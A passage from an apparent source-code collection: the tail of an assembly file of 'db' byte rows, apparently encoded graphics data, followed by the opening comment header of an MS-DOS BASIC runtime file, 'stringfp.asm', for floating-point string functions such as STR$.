0x0f, 0xfe, 0x00, 0x09, 0x0f, 0x00, 0x00, 0x0f,
0xf0, 0xf0, 0x00, 0xf0, 0x00, 0xff, 0xfd, 0x0f,
0xfe, 0xff, 0x03, 0x0e, 0xee, 0x07, 0x7f, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0x00, 0x00, 0x0f, 0xff, 0x0f,
0xfa, 0x00, 0x06, 0x0f, 0xf0, 0xf0, 0xff, 0xf0,
0xff, 0xff, 0xfd, 0x0f, 0xfe, 0xff, 0x03, 0x0e,
0xe7, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xf0, 0x70, 0x00, 0x70, 0xff, 0x0f,
0xfa, 0x00, 0x06, 0x0f, 0xf0, 0xf0, 0xff, 0x0f,
0xff, 0xff, 0xfd, 0x0f, 0xfe, 0xff, 0x03, 0x0e,
0xee, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x14, 0x0f, 0x0f, 0x00, 0x0f, 0x00, 0x0f, 0x0f,
0xf0, 0x00, 0x00, 0xf0, 0xf0, 0x00, 0x00, 0xff,
0xf0, 0xf0, 0xff, 0x0f, 0xff, 0xff, 0xfd, 0x0f,
0xfe, 0xff, 0x03, 0x0e, 0xe7, 0x07, 0x7f, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0x00, 0x0f, 0x0f, 0x0f, 0xff,
0x00, 0x0f, 0xf0, 0xff, 0x00, 0x0f, 0xff, 0xf0,
0xf0, 0xff, 0x00, 0x0f, 0xff, 0xfd, 0x0f, 0xfe,
0xff, 0x03, 0x0e, 0xee, 0x07, 0x7f, 0xfe, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0x00, 0x01, 0x0f, 0x0f, 0xfe,
0xff, 0x01, 0x00, 0x0f, 0xfe, 0xff, 0xfe, 0xf0,
0x02, 0xff, 0xf0, 0xff, 0xfd, 0x0f, 0xfe, 0xff,
0x03, 0x0e, 0xe7, 0x07, 0x7f, 0xfe, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0b, 0x0f, 0xf0, 0x07, 0x07, 0x00, 0xff, 0x0f,
0xff, 0xff, 0xf0, 0x00, 0x00, 0xfe, 0xff, 0x03,
0xf0, 0xf0, 0x0f, 0x00, 0xfb, 0x0f, 0xfe, 0xff,
0x03, 0x0e, 0xee, 0x07, 0x7f, 0xfe, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0xf0, 0x00, 0xff, 0xff, 0x0f,
0xf9, 0xff, 0x01, 0x00, 0xf0, 0xfd, 0xff, 0xfd,
0x0f, 0xfe, 0xff, 0x03, 0x0e, 0xe7, 0x07, 0x7f,
0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0x00, 0x00, 0x0f, 0xff, 0x0f,
0xfa, 0xff, 0x02, 0xf0, 0xff, 0x0f, 0xfc, 0xf0,
0x02, 0x00, 0x0f, 0x00, 0xfe, 0xff, 0x03, 0x0e,
0xee, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfa, 0xff,
0x01, 0xf0, 0xf0, 0xf7, 0x0f, 0x05, 0xff, 0xff,
0x0e, 0xe7, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfa, 0xff,
0x04, 0xf0, 0xff, 0xf0, 0xf0, 0xfc, 0xfb, 0xf0,
0x06, 0x0f, 0xff, 0xff, 0x0e, 0xee, 0x07, 0x7f,
0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfb, 0xff,
0x00, 0xf0, 0xfe, 0x00, 0x07, 0x0c, 0xcc, 0xcc,
0x00, 0x00, 0x0f, 0x0f, 0xf0, 0xfe, 0xff, 0x03,
0x0e, 0xe7, 0x07, 0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfc, 0xff,
0x13, 0xf0, 0x00, 0x00, 0x0e, 0xe0, 0x00, 0xcc,
0xc0, 0x00, 0xee, 0x00, 0xf0, 0x0c, 0x00, 0xff,
0xff, 0x0e, 0xee, 0x07, 0x7f, 0xfe, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfd, 0xff,
0x14, 0xf0, 0x00, 0x0f, 0x00, 0x00, 0xee, 0x00,
0x0c, 0x00, 0x0e, 0xe0, 0xee, 0x0e, 0x0c, 0xcc,
0x00, 0xff, 0x0e, 0xe7, 0x07, 0x7f, 0xfe, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfe, 0xff,
0x15, 0xf0, 0x0f, 0xf0, 0x00, 0x0f, 0x00, 0x0e,
0xe0, 0x00, 0x00, 0xee, 0x0e, 0xe0, 0xe0, 0xcc,
0xfc, 0xc0, 0x00, 0x0e, 0xee, 0x07, 0x7f, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x07, 0x0f, 0xff, 0xff,
0xf0, 0x0f, 0xff, 0x9f, 0xf0, 0xfe, 0x00, 0x0e,
0xee, 0x00, 0x0e, 0xe0, 0xee, 0x0e, 0x0c, 0xcc,
0xcc, 0x0e, 0xee, 0x0e, 0xe7, 0x07, 0x7f, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x14, 0x0f, 0xff, 0xff,
0x09, 0xff, 0xf9, 0x99, 0xff, 0x00, 0x0f, 0x0e,
0x0e, 0xe0, 0xee, 0x0e, 0xe0, 0xe0, 0xcc, 0xfc,
0xc0, 0xee, 0xfe, 0x0e, 0x01, 0x07, 0x0f, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x1d, 0x0f, 0xff, 0xf0,
0x99, 0x9f, 0xff, 0x9f, 0xff, 0xf0, 0x00, 0x00,
0xe0, 0xee, 0xe0, 0xee, 0x0e, 0xe0, 0xcc, 0xcc,
0x0e, 0xe0, 0xb0, 0x00, 0xb0, 0x00, 0xb0, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x05, 0x0f, 0xff, 0x00,
0xf9, 0xff, 0xf0, 0xfe, 0xff, 0x01, 0x00, 0x00,
0xfe, 0x0e, 0x06, 0xe0, 0xee, 0x0c, 0xcc, 0xcc,
0x0e, 0xe0, 0xfd, 0xbb, 0x04, 0xb0, 0x77, 0xff,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x14, 0x0f, 0xf0, 0x00,
0xf0, 0x0f, 0x0e, 0x0f, 0x00, 0xff, 0xf0, 0x00,
0x0e, 0xe0, 0xee, 0x0e, 0xe0, 0x0c, 0xcf, 0xc0,
0xee, 0xee, 0xfd, 0x00, 0x04, 0x07, 0x77, 0xff,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x1d, 0x0f, 0x0c, 0x00,
0xf0, 0xe0, 0x0e, 0x00, 0xe0, 0xff, 0xff, 0x0f,
0x00, 0xee, 0xe0, 0xee, 0x0e, 0x0c, 0xcc, 0xc0,
0xee, 0xe0, 0x00, 0xff, 0xff, 0xf0, 0x77, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x0a, 0x00, 0xcc, 0x00,
0xff, 0x0e, 0xe0, 0xee, 0x0f, 0xf9, 0xff, 0x00,
0xfe, 0x0e, 0x0b, 0xe0, 0xe0, 0xcc, 0xcc, 0xc0,
0xee, 0x00, 0x0f, 0xf0, 0x00, 0x00, 0x77, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x19, 0x0c, 0xcc, 0x00,
0xff, 0x00, 0x00, 0x07, 0x0f, 0x99, 0x9f, 0xf0,
0x00, 0xe0, 0xee, 0x0e, 0xe0, 0xcc, 0xfc, 0x0e,
0xee, 0x00, 0x0f, 0xf0, 0xff, 0xff, 0x07, 0xfe,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x1d, 0x0c, 0xcc, 0x00,
0xff, 0x00, 0xbb, 0xb0, 0x0f, 0xf9, 0xff, 0xf0,
0x00, 0x0e, 0xe0, 0xee, 0x00, 0xcc, 0xcc, 0x0e,
0xee, 0x00, 0x0f, 0x07, 0x00, 0x00, 0x77, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x1d, 0x0c, 0xcc, 0x00,
0xf7, 0x0b, 0x0b, 0xbb, 0x0f, 0xff, 0xff, 0xf0,
0x0f, 0x00, 0x0e, 0xe0, 0xe0, 0xcc, 0xcc, 0x0e,
0xe0, 0x00, 0x0f, 0x00, 0xff, 0xff, 0x07, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x1e, 0xf0, 0x00, 0xcc,
0x00, 0xf0, 0xb0, 0xbb, 0xbb, 0xb0, 0xff, 0xff,
0x00, 0xf9, 0xf0, 0x0e, 0x0e, 0xe0, 0xc7, 0x00,
0x07, 0xe0, 0x07, 0x0f, 0x07, 0x00, 0x00, 0x77,
0x7f, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x0d, 0x0b, 0xbb, 0x0c,
0x00, 0xf0, 0x0b, 0x0b, 0xbb, 0xb0, 0xff, 0xf0,
0x00, 0xf9, 0xf0, 0xfd, 0x00, 0x0c, 0xb0, 0xb0,
0x00, 0x00, 0x0f, 0x00, 0xff, 0xff, 0x07, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x04, 0x0b, 0xbb, 0x07,
0x00, 0xf0, 0xfd, 0xb0, 0x07, 0xff, 0x00, 0xff,
0x9f, 0x9f, 0xf0, 0x09, 0x97, 0xfe, 0x0b, 0x0a,
0x07, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0x77, 0x7f,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x05, 0x70, 0x00, 0x0b,
0x00, 0xc0, 0x07, 0xfe, 0x0b, 0x08, 0x07, 0x90,
0x0f, 0x99, 0xf9, 0xf9, 0x9f, 0x00, 0x90, 0xfd,
0xb0, 0x05, 0xf0, 0x07, 0x0b, 0xbb, 0x07, 0x77,
0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x03, 0x0f, 0xff, 0xf0,
0x0f, 0xfe, 0x00, 0x14, 0xb0, 0xb0, 0x09, 0x99,
0x00, 0xff, 0x9f, 0x9f, 0xf0, 0x0f, 0xf0, 0xbb,
0xbb, 0x0b, 0x00, 0xf0, 0x0c, 0x0b, 0xbb, 0x07,
0x7f, 0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x08, 0x70, 0x00, 0x07,
0x0f, 0x07, 0x00, 0x07, 0x00, 0x07, 0xfd, 0x00,
0x0e, 0xf9, 0xf0, 0x00, 0xff, 0xf0, 0xbb, 0xbb,
0xb0, 0xb0, 0xf0, 0x0c, 0xc0, 0x00, 0x77, 0x7f,
0xfe, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x1a, 0x0f, 0xff, 0xf0,
0x0f, 0x00, 0x00, 0xee, 0x0c, 0xcc, 0xc0, 0xe0,
0xee, 0x00, 0xf9, 0xf0, 0xff, 0xff, 0xf7, 0x0b,
0xbb, 0x0b, 0x07, 0xf0, 0x0c, 0xcc, 0x07, 0x77,
0xfd, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0x70, 0x00, 0x07,
0x0f, 0x00, 0x0e, 0xee, 0x0c, 0xcc, 0xc0, 0x0e,
0xe0, 0xe0, 0x0f, 0x00, 0xff, 0xf9, 0xff, 0x00,
0xbb, 0xb0, 0x0f, 0xf0, 0x0c, 0xcc, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0x0f, 0xff, 0xf0,
0xff, 0x00, 0x0e, 0xee, 0x0c, 0xfc, 0xc0, 0xee,
0x0e, 0xe0, 0x00, 0x00, 0xff, 0x99, 0x9f, 0x07,
0x00, 0x00, 0x0f, 0xf0, 0x0c, 0xcc, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0xf0, 0x00, 0x00,
0xff, 0x00, 0x0e, 0xe0, 0xcc, 0xcc, 0xc0, 0xe0,
0xee, 0x0e, 0x00, 0x00, 0x0f, 0xf9, 0xff, 0x0e,
0xe0, 0xee, 0x0f, 0xf0, 0x0c, 0xc0, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0xf0, 0xff, 0xff,
0xf0, 0x00, 0xee, 0xe0, 0xcc, 0xcc, 0x0e, 0x0e,
0xe0, 0xee, 0xe0, 0x0f, 0x0f, 0xff, 0xf0, 0xe0,
0x0e, 0x00, 0xe0, 0xf0, 0x0c, 0x0f, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0xfd, 0x00, 0x15, 0x07,
0xee, 0xe0, 0xcf, 0xcc, 0x00, 0xee, 0x0e, 0xe0,
0xee, 0x00, 0x00, 0xff, 0xf0, 0x0f, 0x0e, 0x0f,
0x00, 0xf0, 0x00, 0xff, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x03, 0x0f, 0xff, 0xff, 0xf0, 0xfd, 0xbb, 0x15,
0xb0, 0xee, 0x0c, 0xcc, 0xcc, 0x0e, 0xe0, 0xee,
0x0e, 0x0e, 0x00, 0x00, 0x0f, 0xff, 0xff, 0xf0,
0xff, 0xf9, 0xf0, 0x0f, 0xff, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x1d, 0x0f, 0xff, 0xff, 0xf0, 0xb0, 0x00, 0xb0,
0x00, 0xb0, 0x7e, 0x0c, 0xcc, 0xc0, 0xee, 0x0e,
0xe0, 0xee, 0xe0, 0xe0, 0x00, 0x00, 0xff, 0xff,
0x9f, 0xff, 0x99, 0x90, 0xff, 0xff, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0x0f, 0x0e, 0x0e,
0x07, 0x07, 0x70, 0xcc, 0xfc, 0xc0, 0xe0, 0xee,
0x0e, 0xe0, 0xee, 0x0e, 0x0f, 0x00, 0x0f, 0xf9,
0x99, 0xff, 0xf9, 0x0f, 0xff, 0xff, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x0d, 0x0e, 0xe7, 0x07,
0x77, 0x0c, 0xcc, 0xcc, 0x0e, 0x0e, 0xe0, 0xee,
0x00, 0x0e, 0xe0, 0xfe, 0x00, 0x03, 0xff, 0x9f,
0xff, 0x00, 0xfe, 0xff, 0x00, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x13, 0x0e, 0xee, 0x00,
0x00, 0xcc, 0xfc, 0xc0, 0xe0, 0xee, 0x0e, 0xe0,
0x00, 0x00, 0xee, 0x00, 0x0f, 0x00, 0x00, 0xff,
0x00, 0xfd, 0xff, 0x00, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x12, 0x0e, 0xe7, 0x0f,
0xf0, 0x0c, 0xcc, 0x0e, 0x0e, 0xe0, 0xee, 0x00,
0x0c, 0x00, 0x0e, 0xe0, 0x00, 0x0f, 0x00, 0x00,
0xfc, 0xff, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x0e, 0x0e, 0xee, 0x0f,
0xff, 0xf0, 0x0c, 0x00, 0xf0, 0x0e, 0xe0, 0x00,
0xcc, 0xc0, 0x00, 0xee, 0xfe, 0x00, 0xfb, 0xff,
0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x0c, 0x0e, 0xe7, 0x0f,
0xff, 0xff, 0xf0, 0xff, 0x0f, 0x00, 0x00, 0x0c,
0xcc, 0xcc, 0xfd, 0x00, 0xfa, 0xff, 0x00, 0x0f,
0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x05, 0x0e, 0xee, 0x0f,
0xff, 0xff, 0x00, 0xfc, 0xf0, 0x04, 0xfc, 0xf0,
0xf0, 0xff, 0xf0, 0xf9, 0xff, 0x00, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x04, 0x0e, 0xe7, 0x0f,
0xff, 0xff, 0xf8, 0x0f, 0x01, 0x00, 0xf0, 0xf9,
0xff, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x08, 0x0e, 0xee, 0x0f,
0xff, 0xff, 0xf0, 0x0f, 0x00, 0x00, 0xfd, 0xf0,
0x02, 0xff, 0x0f, 0xf0, 0xf9, 0xff, 0x06, 0x0f,
0xff, 0x00, 0x00, 0x0f, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xe7, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0xfe, 0xff, 0x02, 0xf0,
0xf0, 0x0f, 0xf9, 0xff, 0x06, 0x0f, 0xff, 0xf0,
0x00, 0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x0f,
0xfe, 0xff, 0xfc, 0x0f, 0x03, 0x00, 0x0f, 0x00,
0xf0, 0xfe, 0xff, 0x02, 0xf0, 0x00, 0x00, 0xfe,
0xff, 0x06, 0x0f, 0xf0, 0x07, 0x07, 0x00, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xe7, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0x01, 0xf0, 0xff, 0xfe,
0xf0, 0xfd, 0xff, 0x01, 0x00, 0x0f, 0xfe, 0xff,
0x06, 0x0f, 0x0f, 0x00, 0x00, 0xf0, 0x0f, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0x0e, 0xff, 0x00, 0x0f,
0xf0, 0xf0, 0xff, 0xff, 0x00, 0x0f, 0xf0, 0xff,
0x00, 0x0f, 0xff, 0x0f, 0xfd, 0x00, 0x01, 0x0f,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xe7, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0x08, 0xff, 0xff, 0x0f,
0xf0, 0xf0, 0xff, 0xf0, 0xf0, 0x00, 0xfe, 0xf0,
0x02, 0x00, 0xff, 0x0f, 0xfd, 0x00, 0x01, 0x0f,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0x06, 0xff, 0xff, 0x0f,
0xf0, 0xf0, 0xff, 0x0f, 0xfe, 0x00, 0x0a, 0x0f,
0x00, 0x00, 0x0f, 0x0f, 0xf0, 0x7f, 0x00, 0x70,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xe7, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0x05, 0xff, 0xf0, 0xff,
0xf0, 0xf0, 0xff, 0xfa, 0x00, 0x07, 0x0f, 0x0f,
0xff, 0x00, 0x00, 0x0f, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0x05, 0xf0, 0x00, 0xf0,
0x00, 0xf0, 0xff, 0xfa, 0x00, 0x07, 0x0f, 0x0f,
0xff, 0x00, 0x00, 0x0f, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xe7, 0x0f,
0xfe, 0xff, 0xfe, 0x0f, 0x15, 0x00, 0x00, 0xf0,
0x00, 0xf0, 0xf0, 0xff, 0xf0, 0x00, 0x00, 0xf0,
0xf0, 0x00, 0x00, 0xff, 0x0f, 0xff, 0xf0, 0x00,
0xff, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x0f,
0xfe, 0xff, 0xfd, 0x0f, 0xfe, 0xff, 0x0b, 0xf0,
0xf0, 0xff, 0xff, 0x00, 0x0f, 0x00, 0x0f, 0x00,
0x0f, 0xff, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xe7, 0x0f,
0xfe, 0xff, 0xfd, 0xf0, 0xfe, 0xff, 0x01, 0xf0,
0xf0, 0xfe, 0xff, 0x02, 0xf0, 0xf0, 0x00, 0xfe,
0xff, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x02, 0x0e, 0xee, 0x0f,
0xfe, 0xff, 0x00, 0xf0, 0xfd, 0x0f, 0x03, 0xff,
0xff, 0x0f, 0x0f, 0xfe, 0xff, 0x0c, 0x0f, 0x00,
0x00, 0x0f, 0xff, 0xff, 0x00, 0x00, 0x0f, 0xf0,
0x00, 0x0f, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x01, 0xf0, 0xe0, 0xfd,
0xff, 0x00, 0xf0, 0xfa, 0x00, 0x00, 0x0f, 0xfe,
0xff, 0xfe, 0x00, 0x09, 0x0f, 0xff, 0xff, 0x00,
0x00, 0x0f, 0xf0, 0x00, 0x0f, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x01, 0xf0, 0xe0, 0xfd,
0xff, 0x00, 0x0c, 0xfa, 0xcc, 0x00, 0x0f, 0xfe,
0xff, 0xfe, 0x00, 0x09, 0x0f, 0xff, 0xff, 0x0f,
0x00, 0x0f, 0xff, 0x00, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfd, 0xff,
0x00, 0x0c, 0xfa, 0xec, 0x00, 0x0f, 0xfe, 0xff,
0x02, 0xf0, 0x00, 0x00, 0xfe, 0xff, 0x06, 0x0f,
0xf0, 0x00, 0xff, 0x00, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfe, 0xff,
0x09, 0xf0, 0xce, 0xee, 0xce, 0xee, 0xce, 0xee,
0xce, 0xee, 0xc0, 0xfd, 0xff, 0x01, 0x00, 0x0f,
0xfe, 0xff, 0x06, 0x0f, 0xff, 0x00, 0x0f, 0x00,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfe, 0xff,
0x09, 0xf0, 0xe0, 0xee, 0xee, 0x0e, 0xee, 0x0e,
0xee, 0xe0, 0xe0, 0xf8, 0xff, 0x06, 0x0f, 0xff,
0xf0, 0x00, 0x00, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0xfd, 0x00, 0x09, 0x0e,
0xe0, 0xee, 0xe0, 0x0e, 0xee, 0x00, 0xee, 0xe0,
0xee, 0xf8, 0x00, 0x06, 0x0f, 0xff, 0xff, 0x00,
0x00, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf8, 0xff, 0x07, 0x0e, 0x0f, 0x0e,
0x07, 0x70, 0xe0, 0x77, 0x0e, 0xfe, 0x07, 0x00,
0x7f, 0xf7, 0xff, 0x03, 0xf0, 0x00, 0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf8, 0xff, 0x0c, 0x00, 0x77, 0x70,
0x77, 0x77, 0x07, 0x77, 0x70, 0x77, 0x70, 0x07,
0x77, 0x7f, 0xf8, 0xff, 0x03, 0x00, 0x00, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf9, 0xff, 0x0c, 0xfc, 0x0f, 0xf7,
0x0c, 0x07, 0x70, 0xc0, 0x77, 0x0c, 0x07, 0x77,
0x0c, 0xf7, 0xf8, 0xff, 0x04, 0xf0, 0x00, 0x00,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf8, 0xff, 0x0b, 0x0f, 0xf7, 0x70,
0xff, 0x7f, 0x0f, 0xf7, 0xf0, 0xff, 0x7f, 0x0f,
0x77, 0xf8, 0xff, 0x04, 0x00, 0x0f, 0x00, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf7, 0xff, 0x0b, 0x77, 0xff, 0xf7,
0x77, 0xff, 0x77, 0x7f, 0xf7, 0x77, 0xff, 0xf7,
0x7f, 0xfa, 0xff, 0x05, 0xf0, 0x00, 0xff, 0x00,
0xff, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xf7, 0xff, 0x0a, 0xf7, 0xff, 0xff,
0x7f, 0xff, 0xf7, 0xff, 0xff, 0x7f, 0xff, 0xf7,
0xf9, 0xff, 0x05, 0x00, 0x0f, 0xff, 0x00, 0xff,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xe5, 0xff, 0x06, 0xf0, 0x00, 0x0f,
0xf0, 0x00, 0x0f, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xe5, 0xff, 0x06, 0xf0, 0x00, 0x0f,
0xf0, 0x00, 0x0f, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xdf, 0xff, 0x00, 0x00
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x00, 0xd0, 0xe0, 0xff, 0x01, 0xf0, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x01, 0xd0, 0x0f, 0xe1, 0xff, 0x01, 0x00, 0xd0
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
db 0x01, 0xdd, 0xd0, 0xe1, 0x00, 0x01, 0xdd, 0xd0
|
45/runtime/rt/stringfp.asm | minblock/msdos | 0 | 18334 | TITLE STRINGFP - Floating Point String Functions
PAGE 56,132
;***
; STRINGFP - Floating Point ST$ functions
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
; BASIC Syntax mapping to included runtime entry points:
;
;
; - STR$ Function -
;
; v$ = STR$(x)
;
; Examples:
;
